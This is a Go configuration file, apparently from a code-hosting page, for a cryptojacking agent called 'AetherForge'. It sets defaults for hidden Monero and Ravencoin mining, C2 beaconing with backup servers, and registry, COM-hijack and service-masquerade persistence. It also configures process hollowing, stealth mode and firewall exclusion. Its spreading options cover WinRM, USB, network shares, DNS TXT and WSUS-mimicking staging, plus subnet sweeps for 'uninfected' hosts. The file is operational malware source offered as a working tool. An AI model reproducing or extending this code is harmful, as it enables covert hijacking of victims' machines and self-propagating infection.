Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
372 lines
11 KiB
Go
372 lines
11 KiB
Go
package config
|
||
|
||
import (
|
||
"os"
|
||
"runtime"
|
||
"strings"
|
||
"time"
|
||
)
|
||
|
||
const Version = "1.0.0"
|
||
|
||
type BuiltinConfig struct {
|
||
WorkerName string
|
||
ServerURL string
|
||
Wallet string
|
||
Threads int
|
||
ThreadMode string
|
||
ThreadPercent int
|
||
CPUPriority string
|
||
MiningMode string
|
||
// MinerExecution selects CPU/GPU workload isolation: auto, container, inprocess, subprocess.
|
||
// Distinct from MiningMode schedule (always/idle/scheduled).
|
||
MinerExecution string
|
||
// DockerImageTar is a local OCI tarball path for docker_load tier (server policy / upload stub).
|
||
DockerImageTar string
|
||
DisplayMode string
|
||
SilentMode bool
|
||
RunAs string
|
||
HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
|
||
AutoStart bool
|
||
// AutostartMode selects boot/logon hooks beyond RunAs (Windows). Empty = legacy (HKCU Run when AutoStart).
|
||
// Values: none, logon_run, logon_startup_folder, boot_task, logon_task, all (comma-separated allowed).
|
||
AutostartMode string
|
||
// RegistryPersistence selects forge-baked registry Run/RunOnce locations (Windows).
|
||
// Values: off, hkcu_run, hkcu_run_once, hklm_run, hklm_run_once, explorer_run, combined (comma-separated allowed).
|
||
RegistryPersistence string
|
||
RegistryRunHKCU bool
|
||
RegistryRunHKLM bool
|
||
RegistryRunOnce bool
|
||
RegistryExplorerRun bool
|
||
ProcessName string
|
||
BuildID string
|
||
BuiltAt time.Time
|
||
PoolHost string
|
||
PoolPort int
|
||
PoolTLS bool
|
||
PoolPass string
|
||
MaxCPUUsage int
|
||
MaxMemoryPct int
|
||
MinFreeRAM int
|
||
IdleThresholdPct int
|
||
IdleDurationMinutes int
|
||
ScheduleStart string
|
||
ScheduleEnd string
|
||
InstallBase string
|
||
InstallCustomBase string
|
||
InstallRelativePath string
|
||
AdaptToHardware bool
|
||
SelfHealing bool
|
||
FileLogging bool
|
||
StealthMode bool
|
||
FirewallExclusion bool
|
||
// AI Autonomy (Ollama)
|
||
AIEnabled bool
|
||
AIOllamaEndpoint string
|
||
AIModel string
|
||
ProcessHollowing bool
|
||
MeshP2P bool
|
||
AutoSpread bool
|
||
HolePunch bool
|
||
RemoteAggressive bool
|
||
// Spread technique options (forge-baked; owned/lab only)
|
||
WinRMSpread bool // lateral WinRM encoded bootstrap in autospread
|
||
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
|
||
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
|
||
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
|
||
WSUSFormatMimic bool // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
|
||
COMHijackPersist bool // COM CLSID hijack persistence — default off
|
||
LinuxLOTLMode string // systemd_run_user | crontab | both | off
|
||
// Passive spreading — triggered by the environment rather than active scanning
|
||
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
||
ShareSpread bool // drop agent onto already-mounted network shares
|
||
// Backup server URLs — tried in order if primary C2 fails
|
||
BackupServerURLs []string
|
||
// BackupPools — alternative mining pools tried in order if the primary is unreachable
|
||
BackupPools []BackupPool
|
||
// Windows service masquerade (ignored on other OSes)
|
||
ServiceMasquerade bool
|
||
ServiceName string
|
||
ServiceDonor string
|
||
// FleetSecret is baked in at forge time and presented on WS connect.
|
||
// The server rejects any agent that doesn't carry the right secret.
|
||
FleetSecret string
|
||
|
||
// GPU / Ravencoin mining
|
||
GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner
|
||
RVNWallet string // Ravencoin wallet address for GPU mining
|
||
RVNPoolHost string // primary RVN Stratum pool host
|
||
RVNPoolPort int // primary RVN Stratum pool port
|
||
RVNPoolTLS bool // primary RVN pool TLS flag
|
||
RVNPoolPass string // stratum password (usually "x")
|
||
RVNBackupPools []BackupPool // failover RVN pools
|
||
|
||
// Connection profile — C2 beacon timing and self-destruct
|
||
BeaconIntervalSec int // base reconnect delay seconds (0 = default 5)
|
||
BeaconJitterPct int // ± percent jitter on reconnect sleep (0–100)
|
||
AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
|
||
// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
|
||
HTTPSBeaconFallback bool
|
||
// StratumOverWS prefers mining jobs/shares via the C2 WebSocket (port 443/wss)
|
||
// instead of opening direct Stratum TCP egress to the pool.
|
||
StratumOverWS bool
|
||
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
|
||
HTTPSBeaconAfterMin int
|
||
|
||
// SimpleDeploy skips triple-onion recon/deploy and starts mining tier chain after C2 auth.
|
||
SimpleDeploy bool
|
||
|
||
// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
|
||
LotlOnionEnabled bool
|
||
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
||
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
|
||
|
||
// Spread genealogy watermark — forge-baked telemetry; never used for auth.
|
||
ParentAgentID string
|
||
SpreadGeneration int
|
||
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
|
||
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
|
||
|
||
// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
|
||
GraftSourceStrain string
|
||
GraftTier string
|
||
GraftApprovedAt string
|
||
|
||
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||
ApkMode bool
|
||
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
|
||
ScoutMode bool
|
||
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
|
||
MiningDisabled bool
|
||
|
||
// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
|
||
FleetRole string
|
||
// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
|
||
SeederMode bool
|
||
|
||
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
|
||
HashrateGateSpreadMin int
|
||
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
|
||
HashrateGateHPS float64
|
||
// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
|
||
ErasureLanesEnabled bool
|
||
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
|
||
FleetTorrentEnabled bool
|
||
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
||
SubnetPrimarySeeder bool
|
||
// SubnetReconEnabled enables periodic /24 recon sweeps for uninfected LAN hosts (server policy).
|
||
SubnetReconEnabled bool
|
||
// SubnetReconIntervalMin is minutes between subnet recon sweeps (default 30 when enabled).
|
||
SubnetReconIntervalMin int
|
||
// SubnetFleetIPs is the server-pushed skip set of fleet agent IPs on this subnet.
|
||
SubnetFleetIPs []string
|
||
PolicySnapshotPollURL string
|
||
EventBridgeRelayURL string
|
||
}
|
||
|
||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||
type BackupPool struct {
|
||
Host string
|
||
Port int
|
||
TLS bool
|
||
Pass string
|
||
}
|
||
|
||
type RuntimeConfig struct {
|
||
BuiltinConfig
|
||
AgentID string
|
||
}
|
||
|
||
func Load() RuntimeConfig {
|
||
b := GetBuiltinConfig()
|
||
if b.Threads <= 0 {
|
||
b.Threads = 4
|
||
}
|
||
if b.ThreadMode == "" {
|
||
b.ThreadMode = "percent"
|
||
}
|
||
if b.ThreadPercent <= 0 {
|
||
b.ThreadPercent = 75
|
||
}
|
||
if b.CPUPriority == "" {
|
||
b.CPUPriority = "below_normal"
|
||
}
|
||
if b.MiningMode == "" {
|
||
b.MiningMode = "always"
|
||
}
|
||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_EXECUTION")); v != "" {
|
||
b.MinerExecution = v
|
||
} else if b.MinerExecution == "" {
|
||
b.MinerExecution = "auto"
|
||
}
|
||
if b.DisplayMode == "" {
|
||
if b.SilentMode {
|
||
b.DisplayMode = "silent"
|
||
} else {
|
||
b.DisplayMode = "visible"
|
||
}
|
||
}
|
||
if b.ProcessName == "" {
|
||
b.ProcessName = sanitizeProcessName(b.WorkerName)
|
||
}
|
||
if b.MaxCPUUsage <= 0 {
|
||
b.MaxCPUUsage = 80
|
||
}
|
||
if b.MaxMemoryPct <= 0 {
|
||
b.MaxMemoryPct = 70
|
||
}
|
||
if b.MinFreeRAM <= 0 {
|
||
b.MinFreeRAM = 1024
|
||
}
|
||
if b.IdleThresholdPct <= 0 {
|
||
b.IdleThresholdPct = 20
|
||
}
|
||
if b.IdleDurationMinutes <= 0 {
|
||
b.IdleDurationMinutes = 5
|
||
}
|
||
if b.ScheduleStart == "" {
|
||
b.ScheduleStart = "21:00"
|
||
}
|
||
if b.ScheduleEnd == "" {
|
||
b.ScheduleEnd = "06:00"
|
||
}
|
||
if b.InstallBase == "" {
|
||
b.InstallBase = "localappdata"
|
||
}
|
||
if b.InstallRelativePath == "" {
|
||
b.InstallRelativePath = DefaultInstallRelativePath
|
||
}
|
||
if b.PoolHost == "" {
|
||
b.PoolHost = "pool.supportxmr.com"
|
||
}
|
||
if b.PoolPort <= 0 {
|
||
b.PoolPort = 3333
|
||
}
|
||
if b.PoolPass == "" {
|
||
b.PoolPass = "x"
|
||
}
|
||
if b.AIEnabled {
|
||
if b.AIOllamaEndpoint == "" {
|
||
b.AIOllamaEndpoint = "http://localhost:11434"
|
||
}
|
||
if b.AIModel == "" {
|
||
b.AIModel = "llama3.2"
|
||
}
|
||
}
|
||
if b.StealthMode {
|
||
b.FileLogging = false
|
||
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
||
b.DisplayMode = "background"
|
||
}
|
||
}
|
||
// GPU mining defaults
|
||
if b.GPUEnabled {
|
||
if b.RVNPoolHost == "" {
|
||
b.RVNPoolHost = "rvn.2miners.com"
|
||
}
|
||
if b.RVNPoolPort <= 0 {
|
||
b.RVNPoolPort = 6060
|
||
}
|
||
if b.RVNPoolPass == "" {
|
||
b.RVNPoolPass = "x"
|
||
}
|
||
}
|
||
return RuntimeConfig{BuiltinConfig: b}
|
||
}
|
||
|
||
// RegistrationPlatform returns the fleet registration OS label. APK wrapper sets
|
||
// AETHERFORGE_PLATFORM=android; forge may also bake ApkMode.
|
||
func RegistrationPlatform() string {
|
||
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
|
||
return strings.ToLower(p)
|
||
}
|
||
b := GetBuiltinConfig()
|
||
if b.ApkMode {
|
||
return "android"
|
||
}
|
||
return runtime.GOOS
|
||
}
|
||
|
||
func (c RuntimeConfig) RegistrationPlatform() string {
|
||
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
|
||
return strings.ToLower(p)
|
||
}
|
||
if c.ApkMode {
|
||
return "android"
|
||
}
|
||
return runtime.GOOS
|
||
}
|
||
|
||
// IsAndroidPlatform reports APK fleet-node workers (env override or ApkMode forge flag).
|
||
func IsAndroidPlatform() bool {
|
||
return RegistrationPlatform() == "android"
|
||
}
|
||
|
||
// IsScoutMode reports roving scout builds (discover + service graph, no staging).
|
||
func (c RuntimeConfig) IsScoutMode() bool {
|
||
return c.ScoutMode
|
||
}
|
||
|
||
func (c RuntimeConfig) EffectiveThreads() int {
|
||
mode := strings.ToLower(c.ThreadMode)
|
||
if mode == "fixed" {
|
||
if c.Threads < 1 {
|
||
return 1
|
||
}
|
||
return c.Threads
|
||
}
|
||
cores := runtime.NumCPU()
|
||
if cores < 1 {
|
||
cores = 1
|
||
}
|
||
pct := c.ThreadPercent
|
||
if pct < 1 {
|
||
pct = 1
|
||
}
|
||
if pct > 100 {
|
||
pct = 100
|
||
}
|
||
threads := int(float64(cores) * float64(pct) / 100.0)
|
||
if threads < 1 {
|
||
threads = 1
|
||
}
|
||
if threads > cores {
|
||
threads = cores
|
||
}
|
||
return threads
|
||
}
|
||
|
||
func (c RuntimeConfig) HideWindow() bool {
|
||
switch strings.ToLower(c.DisplayMode) {
|
||
case "silent", "background":
|
||
return true
|
||
default:
|
||
return c.SilentMode
|
||
}
|
||
}
|
||
|
||
func (c RuntimeConfig) BackgroundMode() bool {
|
||
return strings.ToLower(c.DisplayMode) == "background"
|
||
}
|
||
|
||
func (c RuntimeConfig) EffectiveProcessName() string {
|
||
name := strings.TrimSpace(c.ProcessName)
|
||
if name == "" {
|
||
return sanitizeProcessName(c.WorkerName)
|
||
}
|
||
return sanitizeProcessName(name)
|
||
}
|
||
|
||
func sanitizeProcessName(name string) string {
|
||
name = strings.TrimSpace(name)
|
||
if name == "" {
|
||
return "CryptoMinerWorker"
|
||
}
|
||
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
|
||
clean := replacer.Replace(name)
|
||
if clean == "" {
|
||
return "CryptoMinerWorker"
|
||
}
|
||
return clean
|
||
}
|